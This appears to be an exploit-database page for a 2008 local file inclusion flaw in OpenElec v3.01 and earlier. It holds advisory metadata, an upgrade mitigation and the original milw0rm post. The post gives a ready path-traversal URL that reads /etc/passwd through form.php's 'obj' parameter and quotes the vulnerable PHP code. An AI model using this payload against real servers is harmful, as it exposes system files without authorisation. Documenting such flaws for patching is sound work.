OpenElec - exploit.company

vendor:

OpenElec

by:

dun

7.5

CVSS

HIGH

Local File Inclusion

CWE

Product Name: OpenElec

Affected Version From: <= v3.01

Affected Version To: <= v3.01

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

OpenElec <= v3.01 Local File Inclusion Vulnerability

A vulnerability in OpenElec <= v3.01 allows an attacker to include arbitrary files on the server via the 'obj' parameter in the 'form.php' script. The vulnerability is caused due to the 'form.php' script not properly sanitizing user-supplied input to the 'obj' parameter.

Mitigation:

Upgrade to the latest version of OpenElec.

Source

Exploit-DB raw data:

  :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM

   [ Discovered by dun \ dun[at]strcpy.pl ]

 #################################################################
 #  [ OpenElec <= v3.01 ]   Local File Inclusion Vulnerability   #
 #################################################################
 #
 # Script site: http://www.openelec.org/
 # Download: http://adullact.net/frs/?group_id=434
 #
 # Vuln: 
 # http://site.com/openelec/scr/form.php?obj=../../../../../../../etc/passwd%00
 #      
 #
 # Bug: ./openelec/scr/form.php (lines: 27-32)
 #
 # ...
 # 	$obj = "";
 #	if (isset ($_GET ['obj']))
 #		$obj = $_GET ['obj'];
 #	//
 #  	if (file_exists ("../obj/".$obj.".class.php"))
 #       include ("../obj/".$obj.".class.php");	        // * LFI *
 # ... 			    
 #
 #
 ###############################################
 # Greetz: D3m0n_DE * str0ke * and otherz..
 ###############################################

 [ dun / 2008 ] 

*******************************************************************************************

# milw0rm.com [2008-09-22]